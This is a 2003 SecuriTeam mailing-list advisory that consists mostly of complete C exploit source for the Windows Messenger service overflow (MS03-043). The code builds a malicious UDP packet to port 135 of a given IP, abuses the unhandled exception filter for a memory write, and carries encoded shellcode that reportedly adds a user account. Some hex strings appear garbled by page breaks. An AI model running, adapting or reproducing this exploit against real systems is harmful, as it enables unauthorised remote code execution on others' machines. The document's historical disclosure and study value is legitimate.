

# [EXPL] Windows Messenger Exploit Code (MS03-043)

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-12/0048.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 12/17/03

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 17 Dec 2003 18:40:16 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Windows Messenger Exploit Code (MS03-043)

---

## SUMMARY

Below is an exploit code for the vulnerability in Microsoft's Messenger service ( <<http://www.securiteam.com/windowsntfocus/6L00E1P8KU.html>> MS03-043). Return addresses are for Windows 2000 Service Pack 0 French. The source code compiles on both Windows and Unix.

## DETAILS

### Exploit:

```
/*
*****
/* [Crpt] MS03-043 – Messenger exploit by MrNice [Crpt] */
/* ----- */
/* */
/* This Sploit use the unhandledexceptionfilter to redirect */
/* the execution. When overflow occur we have : */
/* */
/* mov eax,esi+8 */
/* mov ecx,esi+Ch */
/* mov dword ptr ds:[ecx],eax */
/* */
```

## Securiteam: [EXPL] Windows Messenger Exploit Code (MS03-043)

```
/* so we control ecx and edx and we can write 4 bytes */
/* where we want. */
/* If we try to write in a not writable memory zone, an */
/* exception is lauched and unhandledexceptionfilter too. */
/* */
/* A part of unhandledexceptionfilter : */
/* */
/* mov eax, dword_0_77ECF44C(=where) */
/* cmp eax, ebx */
/* jz short loc_0_77EA734C */
/* push esi */
/* call eax */
/* */
/* So we write the "WHAT"(=jmp esi+4Ch) at */
/* the "WHERE"(=77EA734C here) and when the exception occur */
/* the unhandledexceptionfilter is lauched so when call eax */
/* occur, it execute our code. */
/* */
/* Thx Kotik who coded the proof of concept,and Metasploit */
/* for Shellcode and last but not least kralor,Scurt from Crpt */
/* */
/* Tested on win2k FR SP0 */
/* */
/* */
/*****/
```

```
#ifdef _WIN32
#include <winsock.h>
#include <windows.h>
#pragma comment (lib,"ws2_32")
#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/timeb.h>
#include <string.h>
#endif
static unsigned char packet_header[] =
"\x04\x00\x28\x00"
"\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0"
"\x4f\xb6\xe6xfc"
"\xff\xff\xff\xff"
"\xff\xff\xff\xff"
"\xff\xff\xff\xff"
"\xff\xff\xff\xff"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00"
```

## Securiteam: [EXPL] Windows Messenger Exploit Code (MS03-043)

```
"\x00\x00\xff\xff\xff\xff"  
"\xff\xff\xff\xff"  
"\x00\x00";
```

```
unsigned char field_header[] =
```

```
"\xff\xff\xff\xff"  
"\x00\x00\x00\x00"  
"\xff\xff\xff\xff";
```

```
unsigned char ShellCode[] = // XorDecode 23 bytes
```

```
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x3E\x01\x80\x34\x0A\x96\xE2\xFA"  
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"  
// AddUser:X Pass:X  
"\xf0\x17\x7a\x16\x96\xf1\x70\x7e\x21\x96\x96\x96\xf1\x90\xf1\x55"  
"\xc5\xfe\xe8\xe4\xe74\xe5\xe7e\x2b\x96\x96\x96\xf1\xd0\x9a\xc5\xfe"  
"\x18\xd8\x98\x7a\x7e\x39\x96\x96\x96\xf1\xd0\x9e\xa7\x4d\xc5\xfe"  
"\xe6\xff\xa5\xa4\xfe\xf8\xf3\xe2\xf7\xc2\x69\x46\xf1\xd0\x92\xf1"  
"\x55\xc5\xfe\xc8\x49\xea\x5b\x7e\x1a\x96\x96\x96\xf1\xd0\x86\xc5"  
"\xfe\x41\xab\x9a\x55\x7e\xe8\x96\x96\x96\xf1\xd0\x82\xa7\x56\xa7"  
"\x4d\xd5\xc6\xfe\xe4\x96\xe5\x96\xfe\xe2\x96\xf9\x96\xfe\xe4\x96"  
"\xf7\x96\xfe\xe5\x96\xe2\x96\xfe\xf8\x96\xff\x96\xfe\xfb\x96\xff"  
"\x96\xfe\xd7\x96\xf2\x96\xf1\xf0\x8a\xc6\xfe\xce\x96\x96\x96\xf1"  
"\x77\xf1\xd8\x8e\xfe\x96\x96\xca\x96\xc6\xc5\xc6\xc5\xc6\xc7"  
"\xc7\xf1\x77\xc6\xc2\xc7\xc5\xc6\x69\xc0\x86\x1d\xd8\x8e\xdf\xdf"  
"\xc7\xf1\x77\xfc\x97\xc7\xfc\x95\x69\xe0\x8a\xfc\x96\x69\xc0\x82"  
"\x69\xc0\x9a\xc0\xfc\xa6\xcf\xf2\x1d\x97\x1d\xd6\x9a\x1d\xe6\x8a"  
"\x3b\x1d\xd6\x9e\xc8\x54\x92\x96\xc5\xc3\xc0\xc1\x1d\xfa\xb2\x8e"  
"\x1d\xd3\xaa\x1d\xc2\x93\xee\x97\x7c\x1d\xdc\x8e\x1d\xcc\xb6\x97"  
"\x7d\x75\xa4\xdf\x1d\xa2\x1d\x97\x78\xa7\x69\x6a\xa7\x56\x3a\xae"  
"\x76\xe2\x91\x57\x59\x9b\x97\x51\x7d\x64\xad\xea\xb2\x82\xe3\x77"  
"\x1d\xcc\xb2\x97\x7d\xf0\x1d\x9a\xdd\x1d\xcc\x8a\x97\x7d\x1d\x92"  
"\x1d\x97\x7e\x7d\x94\xa7\x56\xf1\x7c\xc9\xc8\xcb\xcd\x54\x9e\x96";
```

```
int main(int argc,char *argv[])
```

```
{  
    int i, packet_size, fields_size, s,sp;  
    unsigned char packet[8192];  
    struct sockaddr_in addr;  
    // A few conditions :  
    // 0 <= strlen(from) + strlen(machine) <= 56  
    // max fields size 3992  
    char from[] = "RECCA";  
    char machine[] = "ZEUS";  
    char body[4096] = "*** MESSAGE ***";  
#ifdef _WIN32  
    WSADATA wsaData;  
#endif  
  
    if(argc<2)  
    {  
        printf("\t [Crpt] MS03-043 – Messenger exploit by MrNice
```

## Securiteam: [EXPL] Windows Messenger Exploit Code (MS03-043)

```
[Crpt]\n");
printf("\t\t www.coromputer.net && Undernet #coromputer\n");

printf("-----\n");
printf("Tested on Windows 2000 French Sp0\n\n");
printf("Syntax : %s <ip>\n",argv[0]);
return -1;
}

#ifdef _WIN32
if(WSAStartup(0x101,&wsaData) {
printf("error: unable to load winsock.\n");
return -1;
}
#endif

memset(&addr,0x00,sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(argv[1]);
addr.sin_port = htons(135);

memset(packet,0x00,sizeof(packet));
packet_size = 0;

memcpy(&packet[packet_size], packet_header, sizeof(packet_header) -
1);
packet_size += sizeof(packet_header) - 1;

i = strlen(from) + 1;
*(unsigned int *)&field_header[0] = i;
*(unsigned int *)&field_header[8] = i;
memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
packet_size += sizeof(field_header) - 1;
strcpy(&packet[packet_size], from);
packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4

i = strlen(machine) + 1;
*(unsigned int *)&field_header[0] = i;
*(unsigned int *)&field_header[8] = i;
memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
packet_size += sizeof(field_header) - 1;
strcpy(&packet[packet_size], machine);
packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4

printf("Max 'body' size (incl. terminal NULL char) = %d\n", 3992 -
packet_size + sizeof(packet_header) - sizeof(field_header));
memset(body, 0x14, sizeof(body));

body[2263]=(char)0x90;
body[2264]=(char)0x90;
```

## Securiteam: [EXPL] Windows Messenger Exploit Code (MS03-043)

```
body[2265]=(char)0x90;
body[2266]=(char)0x90;

body[2267]=(char)0x90;
body[2268]=(char)0x90;

//jmp 8 bytes plus loing
body[2269]=(char)0xeb;
body[2270]=(char)0x08;

//WHAT CRYPTSVC.dll Win2k sp0 FRENCH
body[2271]=(char)0x48;
body[2272]=(char)0x65;
body[2273]=(char)0x87;
body[2274]=(char)0x76;

//WHERE win2k sp0 FRENCH
body[2275]=(char)0x4C;
body[2276]=(char)0xF4;
body[2277]=(char)0xEC;
body[2278]=(char)0x77;

for(i=2279;i<2606;i++)
    body[i]=ShellCode[i-2279];

body[3992 - packet_size + sizeof(packet_header) - sizeof(field_header)
- 1] = '\0';

i = strlen(body) + 1;
*(unsigned int *)&field_header[0] = i;
*(unsigned int *)&field_header[8] = i;
memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
packet_size += sizeof(field_header) - 1;
strcpy(&packet[packet_size], body);
packet_size += i;

fields_size = packet_size - (sizeof(packet_header) - 1);
*(unsigned int *)&packet[40] = time(NULL);
*(unsigned int *)&packet[74] = fields_size;

printf("Total length of strings = %d\nPacket size = %d\nFields size =
%d\n", strlen(from) + strlen(machine) + strlen(body), packet_size,
fields_size);

if ((s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
    printf("error: unable to create socket\n");
    return -1;
}

if (sendto(s, packet, packet_size, 0, (struct sockaddr *)&addr,
sizeof(addr)) == -1) {
```

Securiteam: [EXPL] Windows Messenger Exploit Code (MS03-043)

```
printf("error: unable to send packet\n");  
return -1;  
}  
return 0;  
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:balzen81@hotmail.com> Mr  
Nice

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@securiteam.com  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,  
loss of business profits or special damages.